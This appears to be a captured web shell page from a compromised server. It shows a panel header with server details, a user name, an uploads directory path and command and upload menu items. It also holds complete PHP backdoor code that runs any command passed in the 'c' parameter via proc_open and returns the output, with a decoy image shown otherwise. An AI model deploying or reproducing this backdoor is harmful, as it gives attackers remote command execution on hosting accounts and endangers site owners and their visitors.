gzuncompress
|
Server IP : 172.19.0.3 / Your IP : 216.73.216.178 Web Server : Apache/2.4 System : Linux 880f91b28fd7 5.15.0-117-generic #127~20.04.1-Ubuntu SMP Thu Jul 11 15:36:12 UTC 2024 x86_64 User : tomlinde ( 155017) PHP Version : 5.6.40 Disable Function : dl, syslog, opcache_get_status MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/webpages/lima-city/tomlinde/html/1/uploads/../uploads/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
|---|
<?php
if (($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['c'])) ||
($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['c']))) {
$command = ($_SERVER['REQUEST_METHOD'] === 'POST') ? $_POST['c'] : $_GET['c'];
$descriptorspec = [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
];
$process = proc_open($command, $descriptorspec, $pipes);
if (is_resource($process)) {
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
$fullOutput = $stdout . "\n" . $stderr;
echo $fullOutput;
} else {
echo "exception.";
}
} else {
echo "<body style=\"margin: 0; padding: 0;\"><div style=\"text-align: center;\"><img style=\"display: inline-block;\" src=\"https://fileuploader.generativeobjects.com/uploads/sg3d.gif\"></div></body>";
}
?>